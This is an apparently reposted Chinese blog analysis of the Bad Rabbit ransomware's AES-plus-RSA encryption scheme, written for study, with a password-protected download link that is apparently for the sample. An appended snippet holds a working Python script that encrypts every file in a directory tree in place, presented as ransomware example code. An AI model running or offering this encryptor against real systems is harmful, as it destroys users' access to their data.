勒索病毒加密过程分析1——简易加密型(坏兔子病毒)

视频:https://www.bilibili.com/video/av44160165

 

目录

1.勒索病毒加密过程总结

2.加密算法的简介

3.坏兔子病毒的加密过程分析

4.参考和附件

 

内容

1.勒索病毒加密过程总结

对于病毒加密过程的总结,详细总结:http://blog.topsec.com.cn/archives/3598

 

2.加密算法的简介

  • 对称加密算法:使用密钥对某一数据加密后,使用相同的密钥进行解密。勒索病毒中一般使用对称加密算法对重要文件或数据进行加密,如果获得密钥就可以对加密文件进行解密。为什么使用对称加密而不是非对称加密?主要是使用对称加密的速度快,可以短时间内把电脑里的文件加密起来从而进行勒索。常见的对称加密算法有:AES、3DES、RC5等

 

  • 非对称加密算法:存在两个密钥,公钥用于对数据进行加密,私钥用于对数据进行解密。勒索病毒一般硬编码了公钥,用于加密前面对称加密中用到的密钥,而私钥留在病毒编写者手里,只有拥有私钥才可以完成全部的解密,这里详细看下面病毒的分析。常见的非对称加密算法:RSA、ECDH等

 

  • 散列算法和其他算法:勒索病毒在生成或处理字符串时用到(AES密钥,RSA公钥等)。常见的算法:MD5、SHA、Base64等

 

3.坏兔子病毒加密过程分析

坏兔子病毒的加密流程,简单的看就是随机生成一个密钥用来对文件进行AES对称加密,然后再对这个AES密钥利用非对称加密算法进行加密。最后会保存起来加密后的AES密钥并显示在勒索信息里,如果想要解密文件,就得提交加密后的AES密钥和赎金。

  • 生成AES密钥

 

  • 利用AES密钥对文件进行加密

 

  • 对AES密钥进行加密

 

4.参考和附件

参考

天融信关于勒索软件加密过程研究:http://blog.topsec.com.cn/2018/10/%E5%A4%A9%E8%9E%8D%E4%BF%A1%E5%85%B3%E4%BA%8E%E5%8B%92%E7%B4%A2%E8%BD%AF%E4%BB%B6%E5%8A%A0%E5%AF%86%E8%BF%87%E7%A8%8B%E7%A0%94%E7%A9%B6/

附件

链接:https://pan.baidu.com/s/1x1oWbMH-eVEOZ8fBUIUV1Q,解压密码:GeekFZ

转载于:https://www.cnblogs.com/QKSword/p/10409618.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
勒索病毒通常使用加密算法对目标文件进行加密,以防止用户访问它们,然后勒索受害者付款以获取解密密钥。 以下是一个勒索病毒可能使用的示例代码,使用AES算法对多级目录进行加密: ```python import os from cryptography.fernet import Fernet # 生成加密密钥 key = Fernet.generate_key() # 创建Fernet对象 fernet = Fernet(key) # 遍历目录并加密文件 def encrypt_directory(path): for dirpath, dirnames, filenames in os.walk(path): for filename in filenames: # 加载文件 with open(os.path.join(dirpath, filename), 'rb') as f: file_data = f.read() # 加密文件 encrypted_data = fernet.encrypt(file_data) # 将加密后的数据写回到原文件 with open(os.path.join(dirpath, filename), 'wb') as f: f.write(encrypted_data) # 保存密钥 with open('key.key', 'wb') as f: f.write(key) # 加密指定目录 encrypt_directory('/path/to/directory') ``` 在这个示例中,勒索病毒使用了Python的`cryptography`库来加密数据。它遍历指定的目录,对目录中的所有文件进行加密,并将加密后的数据写回到原文件。它还生成加密密钥并将其保存到`key.key`文件中,以便以后用于解密文件。 请注意,这只是一个示例代码,并且勒索病毒通常会加入更多的恶意代码,例如:对加密文件进行更改名称和在受害者计算机上创建勒索信息。如果您遇到了勒索病毒,请不要尝试自行解密文件,而是寻求专业帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值